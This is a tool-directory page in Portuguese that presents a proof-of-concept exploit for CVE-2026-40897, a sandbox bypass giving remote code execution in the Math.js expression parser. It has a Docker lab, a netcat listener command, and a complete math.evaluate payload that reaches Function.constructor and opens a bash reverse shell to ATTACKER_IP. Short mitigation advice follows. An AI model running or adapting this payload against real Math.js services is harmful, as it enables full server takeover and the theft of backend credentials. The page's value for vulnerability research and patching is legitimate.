Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40897 — RCE no Analisador de Expressões do Math.js | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-40897
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

RCE no Analisador de Expressões do Math.js

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-40897 Execução Remota de Código no Interpretador de Expressões do Math.js

★ CVE-2026-40897 Prova de Conceito de Execução Remota de Código no Math.js ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Visão Geral

CVE-2026-40897 é uma vulnerabilidade de Bypass de Sandbox que leva à Execução Remota de Código no interpretador de expressões do Math.js. O filtro isSafeProperty verifica apenas o acesso a propriedades em expressões de usuário, não em caminhos internos de código. Ao vazar o array interno de ArrayNode via toJSON() e sobrescrever seu .map, um atacante pode forçar o código interno a acessar Function.constructor e executar JavaScript arbitrário.


Versões Afetadas

CategoriaVersão
VulnerávelMath.js 13.1.1 ≤ versão ≤ 15.1.1
Corrigida15.2.0

Impacto

  • Execução arbitrária de código JavaScript (RCE)
  • Acesso ao sistema de arquivos do host
  • Conexão de reverse shell levando ao comprometimento total do servidor
  • Exfiltração de credenciais de backend e dados sensíveis

Ambiente

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

Prova de Conceito

Após iniciar o ambiente vulnerável, siga as etapas abaixo para reproduzir o ataque.

Etapa 1. Inicie um listener de reverse shell

root@kitploit:~
nc -lvnp 4444

Etapa 2. Envie o payload malicioso

Envie a seguinte expressão para math.evaluate (por exemplo, pela entrada de cálculo da aplicação).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Etapa 3. Confirme o acesso ao shell no lado do atacante

O servidor-alvo conecta-se de volta ao listener do atacante, concedendo um shell bash interativo.


Mitigação

  • Atualize o Math.js para uma versão corrigida
  • Evite passar entrada de usuário não confiável diretamente para math.evaluate()
  • Restrinja a exposição de funções/classes internas (reviver, FunctionAssignmentNode, ArrayNode) por meio do interpretador de expressões

Análise

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
Baixar ferramenta